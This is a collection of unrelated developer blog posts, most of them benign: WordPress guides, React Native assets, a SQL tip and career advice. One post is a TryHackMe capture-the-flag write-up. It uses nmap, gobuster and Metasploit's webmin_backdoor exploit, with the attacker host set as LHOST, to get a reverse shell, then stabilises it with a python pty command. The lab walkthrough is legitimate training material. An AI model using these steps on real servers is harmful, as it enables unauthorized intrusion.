teleren/devto huggingface dataset:
Need Help: Login Kit not redirects to the my url properly
Published: 2022-04-19 14:52:56

Here are my configuration:
Client-Id: 123123123
Callback Url: https://something.com/oauth/tiktok
Redirect Domain: something.com

Trigger the flow: https://something.com/oauth

If my TikTok account is logged in status, it will be redirected to my provided endpoint.
The problem is, when my TikTok account is not logged in, after logged in my TikTok account, it will redirect to TikTok homepage instead of my redirect url. 
Can someone help review this and give me a hint, please?

```
const express = require('express');
const app = express();
const cookieParser = require('cookie-parser');
const cors = require('cors');

app.use(cookieParser());
app.use(cors());
app.listen(process.env.PORT || 80).

const CLIENT_KEY = '123123123' // this value can be found in app's developer portal
const SERVER_ENDPOINT_REDIRECT = 'https://something.com/oauth/tiktok'

app.get('/oauth', (req, res) => {
    const csrfState = Math.random().toString(36).substring(2);
    res.cookie('csrfState', csrfState, { maxAge: 60000 });

    let url = 'https://open-api.tiktok.com/platform/oauth/connect/';

    url += '?client_key=${CLIENT_KEY}';
    url += '&scope=user.info.basic';
    url += '&response_type=code';
    url += '&redirect_uri=${SERVER_ENDPOINT_REDIRECT}';
    url += '&state=' + csrfState;

    res.redirect(url);
})

app.get("/oauth/tiktok", (req, res) => {
  res.send("I got your token :-)!");
});
```
How to Quickly Install Google Analytics Global Site Tag in WordPress
Published: 2022-04-19 14:28:42


**What is Google Analytics?**

Google Analytics is a free tool you can use with your Google account to track and generate reports on website traffic. It records information about website visitors, which pages they visited, for how long, from where in the world, how they reached your website in the first place, and a whole lot more besides. It even integrates with Google Ads to couple information about paid acquisition too.

**1. Sign up for Google Analytics**

Visit Google Analytics, and (if you aren’t already) sign in using your Google Account.
Hit the Start Measuring or Set up for free button and you’ll be shown a screen where you can enter your account’s details.
Then select Web when asked what kind of analytics you want to use.
Lastly, you’ll be asked for the website’s name and its URL, after which you can hit Create.

**Get Your Global Site Tag**

Having created your analytics account, you’ll be given a Tracking ID (which will be something like UA-1111111111), plus a snippet of code called the Global Site Tag which looks like this:

```
<!-- Global site tag (gtag.js) - Google Ads: CONVERSION_ID -->
  <script async src="https://www.googletagmanager.com/gtag/js?id=UA-1111111111"></script>
  <script>
    window.dataLayer = window.dataLayer || [];
    function gtag(){dataLayer.push(arguments);}
    gtag('js', new Date());
 
    gtag('config','UA-1111111111');
  </script>
```

**2. Use the MonsterInsights WordPress Plugin**

The first method, and in my opinion the easiest and best method, is to use a plugin called MonsterInsights for WordPress.
In your WordPress admin, go to Plugins > Add New and search for monsterinsights. When you’ve found it, hit Install Now, and then Activate once that’s done.

**Launch the MonsterInsights Setup Wizard**
You’ll automatically be shown to a setup wizard where you can answer a bunch of questions to get things working, and you’ll be asked to connect MonsterInsights to your analytics account. You’ll be asked to log into your Google account, then authentication will be taken care of for you.

**Reference Blog**
[How to Quickly Install Google Analytics Global Site Tag in WordPress](https://www.gomahamaya.com/install-google-analytics-global-site-tag-in-wordpress-gtag-js/)
#Windows11 – Live Captions Update 🗣️
Tags: englishpost, livecaptions, windows11
Published: 2022-04-20 12:52:45

---
title: #Windows11 – Live Captions Update 🗣️
published: true
date: 2022-04-19 14:19:28 UTC
tags: EnglishPost,EnglishPost,LiveCaptions,Windows11
canonical_url: 
---

Hi !

Last month, I wrote about [Live Captions](https://dev.to/azure/windows11-live-captions-an-amazing-feature--kal), and I share how amazing is this feature in Windows 11. In each new release of Windows Insider, we get fixes, new features and current features improvements, the new ones in Live Captions are amazing.

A reminder about this feature:

> Live captions will help everyone, including people who are deaf or hard of hearing, better understand audio by viewing captions of spoken content. Captions are automatically generated on-device from any content with audio. Captions can be displayed at the top or bottom of the screen, or in a floating window. The caption window can be resized, and caption appearance can be personalized by applying or customizing a caption style. Microphone audio can be included, which can be helpful during in-person conversations. Live captions support English (U.S.) content.   
> To get started, live captions can be turned on with the WIN + Ctrl + L keyboard shortcut, or from the Accessibility flyout under Quick Settings. When turned on the first time, live captions will prompt for download of the required speech model to enable on-device captioning.

I was going to start to record a video, and I remember that I may use Live Captions on the Video to deliver a better experience. And, when I was browsing the settings I found out this:

We can choose the opacity level for the font, background or Window. Let’s take a look at a opacity level of 75% on the text background.

![Live Captions Background opacity at 75 percent](https://brunocapuano.files.wordpress.com/2022/04/live-captions-background-opacity-at-75-percent.jpg?w=892)

And now, switch to 0 percent.

![Live Captions Background opacity at 0 percent](https://brunocapuano.files.wordpress.com/2022/04/live-captions-background-opacity-at-0-percent.jpg?w=887)

Besides this, we can also choose the color, font, and more. In example:

![Live Captions Window 100 opacity with blue color](https://brunocapuano.files.wordpress.com/2022/04/live-captions-window-100-opacity-with-blue-color.jpg?w=907)

And, we can save each one of this features combinations in different profiles / styles. Which makes sense, we may have different profiles and scenarios that require different Live Caption styles.

![Live Captions Caption Styles](https://brunocapuano.files.wordpress.com/2022/04/live-captions-caption-styles.jpg?w=889)

You can read more about some of the latest Windows 11 feaures in this article:

[Windows powers the future of hybrid work](https://blogs.windows.com/windowsexperience/2022/04/05/windows-powers-the-future-of-hybrid-work/)

Happy coding!

Greetings

El Bruno

More posts in my blog [ElBruno.com](https://www.elbruno.com).

* * *
Android/iOS based asset bundling : React native
Tags: reactnative, android, ios, twbloggersclub
Published: 2022-04-19 14:19:24

React Native provides two ways to execute code by platform:

1. Using the [Platform](https://reactnative.dev/docs/platform) module.
2. Using [Platform-specific](https://reactnative.dev/docs/platform-specific-code#platform-specific-extensions) file extensions.

Using these two approaches we will bundle our platform specific local assets and validate which is the better one.

## Using Platform module

In the below code snippet using Platform module we render image based onandroid/ios. This works as expected but there is a drawback using this method.

_App.js_

```javascript
import { Platform, Image } from 'react-native';


var icon = Platform.OS === 'ios'
  ? require('./ios.png')
  : require('./android.png');
<Image source={icon} />; 
```

The drawback here is both the images (ios.png and android.png) are present in both the .apk and .ipa files. This increases the bundle size as in place of one image, both images are present even though only one is required.

## Using Platform specific file extension

To avoid this drawback, we will use the platform-specific file extension method which will bundle only the required image.

React Native will detect when a file has a .ios. or .android. extension and load the relevant platform file when required from other components.

To implement this in our example we create two files imageFile.android.js and imageFile.ios.js and import the filename without any extension.

_imageFile.android.js_

```javascript
export default from './android.png';
```

_imageFile.ios.js_

```javascript
export default from './ios.png';
```

_App.js_

```javascript
import {Image} from 'react-native';
import imageFile from './imageFile';


<Image source={imageFile} />;
```

This also works as expected and as a bonus only the required assets are bundled and reduces the .apk and .ipa size.
VSCode Setup + Extensions 2022
Tags: webdev, beginners, programming, vscode
Published: 2022-04-19 14:07:38

Visual Studio Code Set Up  and Very useful Extensions
Timeline :
00:51 Explore Menu Bar
03:15 Terminal
04:38 Live Server
07:30 Prettier Extension
09:35 Themes
10:31 Material Icon Theme
11:41 Cursor settings and others
13:16 Reset Settings / Changes

{% youtube bzGcL9OZDv4%}
how Easily Create Mailchimp Subscribe Form in WordPress
Published: 2022-04-19 14:04:09


**Create a Mailchimp Subscribe Form in WordPress**

**Step 1: Install and Activate the WPForms Plugin**

The first thing you’ll need to do is install and activate the WPForms plugin. For more details, see this step-by-step guide on how to install a plugin in WordPress.

**Step 2: Install and Activate the Mailchimp Addon**

Next, we need to activate the WPForms Mailchimp addon. Go to WPForms » Addons and find the Mailchimp Addon.
Install and activate the Mailchimp Addon.

**Step 3: Create a Mailchimp Subscribe Form in WordPress**

Once your WPForms Mailchimp addon is active, go to WPForms » Add New to create a new form.
On the setup screen, name your form and select the Newsletter Signup Form template.
Then, click on the field to make any changes. You can also click on a form field and drag it to rearrange the order on your Mailchimp subscribe form.
One of the most important form fields to consider adding to your Mailchimp signup form is the GDPR Agreement field.
This form field helps you create GDPR compliant forms by giving your site visitors an explicit way to agree to storing their personal information and sending them email marketing materials.
In order to use the GDPR form field, you’ll need to go to WPForms » Settings and click on the GDPR Enhancements checkbox.
By doing this, you’ll enable the GDPR enhancement features WPForms has available for you to make complying with GDPR that much easier.

**Step 4: Connect Your Form to Mailchimp**

To connect your newsletter signup form to Mailchimp, go to Marketing » Mailchimp.
You can get your Mailchimp API key by signing in to your Mailchimp account. Copy-paste your Mailchimp API Key in the required field.
Enter account name as per your choice, since this is for your reference only, and click on the  Add button.
After clicking, one more pop will appear asking to Enter a connection nickname. Here also you can add any name as per your choice.

**Step 5: Configure Your Subscribe Form Notifications**

Notifications are a great way to send an email whenever your subscribe form is submitted on your website.
You can send an email to yourself, which WPForms does automatically unless you disable form notifications.
You can also send a notification to a member of your team by adding their email to the Send to Email Address field.
In addition, if you use smart tags, you can even send a form notification to your site visitor to let them know their form has been received.
For help with this step, check out our documentation on how to set up form notifications in WordPress.

**Step 6: Configure Your Subscribe Form Confirmations**

Confirmations are a great way to let your site visitors know immediately that their form has been submitted.

**Reference Blog**
[how Easily Create Mailchimp Subscribe Form in WordPress](https://www.gomahamaya.com/mailchimp-subscribe-form/)
my new project motivational website
Tags: html, motivation, beginners, css
Published: 2022-04-19 14:02:07

my yt channel - https://www.youtube.com/channel/UC2HxhU9YKRqUelHSVE25jhg
 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lmvnh4g7col6amjzmzfa.jpg)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r5x5cl3fbnlgqxaxk5d5.jpg)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vc7emp1fuqxiwkwwbu4l.jpg)


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/09cr4xpwprqisqudtedl.jpg)
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/484eh4nigvt1cwi7ubss.jpg)
Day 14: Random Quote Machine
Tags: 100daysofcode, beginners, javascript, react
Published: 2022-04-19 14:00:16

## Setting up files

I though I can use `npm` and Node.js for this, so I installed  it yesterday.

The project is part of the FreeCodeCamp's course, and the first one is:

![Random Quote Machine](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8pa1if9joyzx4v4ohquk.png)

Then I started off with making the three essential files for web dev:

![The three files](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ugesvxgy94u4dgtxf8gu.png)

And then I deleted them after realizing that I need to run `npm init` first:

![npm init](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1hwyeeqx0tiz87ythjj4.png)

*And* then I reverted back because I want to learn the basics first: I don't want important things to be hidden. Node.js and `npm` offers good shortcut for working, but this is not going to teach me anything 🫠.

So, I'm back to square one. To get a refresher on React, I made a simple counter with a button. (I used the recommended beginner config for React [here](https://reactjs.org/docs/add-react-to-a-website.html).)

![Simple counter](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/53re6l9lzbdjlcajdxvt.png)

And it worked! Yay 🥳

Next step is to install preprocessors for SASS and JSX, instead of depending on external ones. I opted for `dart-sass` and `babel-cli`, both installed with `pacman`.
```bash
sudo pacman -S dart-sass babel-cli
```
Both of this have watch option, where it automatically compiles when the source files change. Isn't that neat?

Well, the `dart-sass` package seems to work well. But `babel-cli` throws an error?

![Babel Error](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r4e5wzelspslf0tcj671.png)

A dive into StackOverflow says that I need to install `babel-preset-react`, which means a *reinstall* of `npm` 🤦‍♂️.

(Another thing that really bugs me is the vulnerabilities that `npm` shows. I don't know if I should ignore this, but I'm scared.)

After half an hour wrestling with dependencies and plugins 💪, I have a working `babel` preprocessor, with the watch option.

And that's already stressful enough.

## Afterwords

A big lesson for me today is that web development change so fast that I need to follow the official documentation to avoid deprecated solutions. 

Also, `npm` packages are **HUGE**. I seriously don't understand why, and for now I'll try to use other alternatives (native binary, etc.) whenever possible.

I think that's all from me today. See ya!

Follow me on [Github](https://github.com/Kemystra)!
Also on [Twitter](https://twitter.com/kemystra)!
TryHackMe(THM)-Source Writeup
Tags: security, writeup, cybersecurity, tryhackme
Published: 2022-04-19 13:58:40


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m8q551fyyq54qsmhjexd.png)

## SOURCE
**Exploit a recent vulnerability and hack Webmin, a web-based system configuration tool.**

Room link is here [link](https://tryhackme.com/room/source)

## Task1


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0xvmh0ftyw5l5huilg2t.jpg)
_Enumerate and root the box attached to this task. Can you discover the source of the disruption and leverage it to take control?_



I'm going to start the challenge by scanning the ip with nmap as in every challenge.
**_10.10.38.68 -> source.thm_**

```
nmap -sV -sC -A source.thm
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h6dusxkp9zedcno910cj.png)

## The output:

1. Port 22 is for ssh.
2. Port 10000 is the default port for webmin.

And the link would be:

```
https://10.10.38.68:10000
```


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qai2g8giosn1yslda5a7.png)


Unfortunately we don't know the username and password to ssh and webmin and I tried to search directories with gobuster, but nothing.

```
gobuster dir -u https://10.10.38.68:10000 -w /usr/share/wordlists/dirb/common.txt
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/njhizkmjlxqft3mmiky4.png)

The last option was to look for an exploit on Metasploit.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xryf9k6f2abxgx22zq2v.png)

And yep, there are more vulnerabilities, and the exploit which I used is 5 “exploit/linux/http/webmin_backdoor” .

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4q94uxc0cs4to8irx0ap.png)

And now is need to set the LPORT, RHOSTS and ssl to true following these commands:

```
set RHOSTS 10.10.38.68 (Machine IP)
set LHOST 10.11.61.213 (YOUR IP)
set ssl true
```
And now, to run the exploit simply type **run/exploit**.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/so8larn0molfltdw26l8.png)

To have a stable shell run these followings commands:

```
echo "import pty; pty.spawn('/bin/bash')" > /tmp/anyname.py
python /tmp/anyname.py
```
And boom!! We have a stable shell
All we need to do now is to find the flags.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h1sfmt3u0u1x0rtp01vt.jpg)
SQL-Quick tip #9 - Number of rows in all tables
Tags: tsql, sqlserver, sql, mssql
Published: 2022-04-19 13:56:16

## Sql Server tips and tricks

This is part of a series of quick tips and tricks I have accumulated over the year, that I think can be useful for others.
If you have similar short tips and tricks please leave a comment.

### Number of rows in all tables

When you start to work on a project for a new customer a good piece of information is how many tables does the database contain and how many rows are there in each table. Or maybe you don't have access to the production database and need to send a service request to the IT operations department to get information about the  production database. 
Then the query below will useful to you.

```sql
SELECT SCHEMA_NAME(sOBJ.schema_id) + '.' + sOBJ.name AS [Table name],
       SUM(sPTN.Rows) AS [Row count]
  FROM sys.objects AS sOBJ
  JOIN sys.partitions AS sPTN ON sOBJ.object_id = sPTN.object_id
 WHERE sOBJ.type = 'U'
   AND sOBJ.is_ms_shipped = 0x0
   AND index_id < 2 -- 0:Heap, 1:Clustered
 GROUP BY sOBJ.schema_id, sOBJ.name
 ORDER BY [Table name]
```

![Sql Server Management Studio screenshot](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vnqig3ybqq9vzw8gvtbk.png)
Introducing the third edition of D3.js in Action
Tags: javascript, webdev, datascience, d3
Published: 2022-04-19 13:44:40

I’m proud to announce that one of my most important projects so far has reached a huge milestone. As a co-author with Elijah Meeks, I have the honor to be working on the third edition of D3.js in Action, which is now available in Manning’s early access program (MEAP)! 🎉

Learning D3 for data visualization development can be scary, but once you understand a few key concepts, it actually gets intuitive and fun! Plus, mastering this library is a solid investment because the philosophy behind D3 opens the door to pretty much any web-based visualization you can dream of. If you don’t like to bump your head against the limitations of charting libraries, you’ll love D3.

In this new edition of D3.js in Action, you’ll learn the fundamental principles of D3 along with hands-on exercises where you’ll build portfolio-ready projects. You’ll also learn how to include D3 in React and Svelte projects, how to make your visualizations interactive, responsive, and much more.

With Manning’s early access program, you get the first chapters immediately and access to a forum where we’ll answer your questions directly! The later chapters will be progressively released, accompanying your learning pace.

Oh, and use the code **mldufour2** to get 50% off. Only valid until April 28th!
What is a classifier? (visually explained)
Tags: machinelearning, tutorial, ai
Published: 2022-04-19 13:41:45

I will start with an example:

We have a dataset containing different species of cats and dogs. Each entry is a **sample**. 

For each we know the length of their tails and their ear shape (E.g. sharp tip). These are **features**. 

| class | tail   | ear   |
|-------|--------|-------|
| cat   | long   | sharp |
| dog   | short  | round |
| cat   | medium | sharp |
| ...   | ...    | ...   |
| dog   | short  | round |
| dog   | medium | round |
| cat   | long   | sharp |

If we plot this dataset in a 2D graph it might look something like this **feature space**:
![cats&dogs feature space](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oagc8tgy1r8x2efeudz8.png)
Through training the **classifier** determines the green decision boundary. When a new sample is given it will **predict** which class it belongs to based on the region it is in.

This green **decision boundary** is what is usually aimed for when designing a classification algorithm. The line _(or high dimensional plane)_ might look a lot more complicated than the one in this picture and the data might be spread out across so many dimensions that we humans cannot visualize it. 

Machine Learning is about acquiring the samples, figuring out what features are necessary and training a classifier that makes _good_ predictions.
Essential job-hunting advice
Published: 2022-04-19 13:40:09

- 
Maintain an up-to-date resume. You might wish to portray oneself as an authority figure. You can send your CV and LinkedIn profile out without blinking an eye or hesitating if you keep them up to date, and guess what you have to do after you've given an excellent presentation or had your article published? You should instantly update your résumé. Isn't it simple?

- 
Participate in social circles. Both on and off the internet It is easier to pursue items of common interest when you are a part of a social circle or circles. You may enjoy playing badminton, but you won't be able to do so if you don't have somebody to play with, right? This is true for a variety of activities, including watching dramas, attending workshops, and even trying out new eateries. A social circle shrinks the globe while also making it more lovely.

- 
Make a list of firms and jobs that you want to work for. On your favorite notepad, make a list of target companies. Notion or Standardnotes are my go-to apps.


- 
Even if you believe you are underqualified, apply. Do not be afraid of being rejected. Rejection isn't the end of the world; on the contrary, it can help us grow as people in the long term. Rejection does not indicate that there is a problem with you. Taking action is the best way to overcome rejection. Apply for the job, attend interviews, and, if it's a personal matter, speak with family members.

- 
Before going on an interview, do some research about the company. www.glassdoor.com is a good place to start.


**References**
Indeed. (2021, September 9). Reasons to keep your resume up-to-date.https://www.linkedin.com/pulse/5-awesome-reasons-always-keep-your-resume-up-date-williams-edem
Importance of social circles.(n.d). https://socialmettle.com/importance-of-social-circles
Chhabra, N. (2021, August 20). 10 ways to deal with rejection. https://medium.com/illumination/10-tips-how-to-deal-with-rejection-and-how-to-overcome-it-f68ddaea3858